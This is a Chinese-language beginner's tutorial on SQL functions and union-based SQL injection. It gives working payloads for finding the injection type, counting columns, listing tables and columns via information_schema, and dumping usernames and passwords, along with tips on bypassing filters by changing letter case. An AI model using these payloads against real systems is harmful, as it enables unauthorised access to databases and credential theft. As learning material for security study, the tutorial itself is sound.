sql注入初探

[TOC]

sql常见函数

CONCAT

  • CONCAT:字符串拼接,用于将两个或多个字符串连接起来,返回一个组合后的新字符串。
CONCAT(string1, string2, ..., stringN)

SUBSTR

  • SUBSTR / SUBSTRING:提取子字符串,用于从一个字符串中提取子字符串。
SUBSTR(string, start_position, length)

string:要操作的字符串。 start_position:开始提取的起始位置(1 表示字符串的第一个字符)。 length:可选,表示要提取的字符数量。如果省略,则提取到字符串的末尾。 示例:

SELECT SUBSTR('Hello World', 7, 5) AS substring;

结果:

substring
---------
World

这个例子从 Hello World 的第 7 个字符开始提取,长度为 5 个字符,即提取出 World。

GROUP_CONCAT

GROUP_CONCAT 是 SQL 中的一个聚合函数,常用于将分组的结果集中的多个值连接成一个字符串。它会将分组后的多行数据合并为一行,并以指定的分隔符连接起来,通常与 GROUP BY 子句一起使用。

作用:将一组值(通常是来自同一个分组的多个行)连接成一个字符串,并用指定的分隔符分隔这些值。

  • 语法
GROUP_CONCAT([DISTINCT] expression [ORDER BY expression ASC|DESC] [SEPARATOR 'separator'])

DISTINCT:可选,用于去重。 expression:要连接的字段或表达式。 ORDER BY:可选,用于指定连接结果的排序方式。 SEPARATOR:可选,指定连接时使用的分隔符,默认为逗号(,)。

  • 示例用法 简单使用 GROUP_CONCAT,假设有一个 students 表,包含 class 和 name 字段:
SELECT class, GROUP_CONCAT(name) AS student_names
FROM students
GROUP BY class;
class    student_names
-------  -------------------
1        Alice,Bob,Charlie
2        David,Eve,Frank

在这个例子中,GROUP_CONCAT 将每个班级中的学生姓名用逗号连接起来。

sql中一些常见查询语句

select 1,2,3 可以直接查看所有列的数据

#表示单行注释 –+表示注释 但是常用–+,因为#不会自动变成url编码

sql注入流程

参考文章

判断是字符型还是数字型

判断注入类型,数字型还是字符型:

首先,我们需要确定目标是数字型还是字符型注入漏洞,以便我们进一步进行其它注入操作。如下面的php代码片段所示,第一行代码代表数字型的sql拼接,其中的变量在sql查询语句拼接时并没有用引号括起来;第二行代码是字符型,其中的变量使用了引号进行拼接。

# 数字型
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
# 字符型
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

对于字符型注入判断,我们也可以这样进行操作,如下面的两条注入语句所示,如果是在数字型注入中,由于变量没有加引号,所以拼接后sql语法错误,直接报错,这和不回显信息是有区别。因此如果下面的语句注入后提示sql语法错误,那么我们可以直接判断测试对象为数字型注入。而对于字符型注入,第一行语句输入后和原本的引号前后完全闭合,且逻辑成立,所以回显出user_id为1的数据;第二行语句输入后,前后引号也完全闭合,但逻辑不成立,所以返回结果为空。

1' --+    这种方式我最喜欢用
1' And 1=1 --+ 一般直接的and很容易被过滤,所以经常要大小写绕过

猜解sql查询语句中的字段数

在这一步中,我们尝试去猜测出查询语句中的字段个数,如下注入语句所示,假设为字符型注入,先利用1’实现引号闭环,再利用or 1=1这样可以暴露出表中所有的数据,最后利用order by num#去看是否报错来明确查询语句中的字段数,其中#号用于截断sql查询语句。

1' Or 1=1 ORDER by 1 --+
1' Or 1=1 oRder by 2 --+
1' Or 1=1 oRder by 3 --+
...直到试出没有回显的

确定字段的显示顺序

这里我们直接使用union就行 1’ union select 1, 2 –+

获取当前数据库

通过前面的字段数确定以及显示顺序确定,我们就可以结合union操作来获取数据库中的信息了。如下代码和截图所示,展示了获取数据库名的操作,根据前面已经获取到的字段数以及位置关系,假设有两个字段,那么下面的查询语句将会把数据库的名称放在第二个字段中。

1' union select 1,database() --+

获取数据库中的表

在获取到当前数据库名后,我们可以进一步获取其中表的信息。如下代码和截图所示,展示了获取数据库中表的信息,information_schema是MySql自带的信息数据库,用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等,其中的表实际上都是视图。information_schema的tables表记录了数据库中表的信息,指定table_schema的名称即可显示对应数据库中表的信息。

1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() --+

获取表中的字段名

进一步获取其中的字段名,假设要获取的表为users,如下面的代码和截图所示。information_schema的columns表存储了表中列的信息,也就是表中字段信息,指定table_name表名,即可获取到对应表的字段信息。

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' --+

下载数据

 最后根据需要,我们获取表中的信息。这里需要注意的是,我们假设原来的注入语句中只有两个查询字段,所以这里select后也只能跟两个group_concat,想一次性看多余的信息,只能在一个group_concat中进行组合。

1' or 1=1 union select group_concat(user_id, first_name, last_name), group_concat(password) from users --+

一些经验

  • 看到别人做题的时候,select时的列数最好是和字段数一致,比如字段数为4,那么就select database(),2,3,4这种,不要select database(),1这种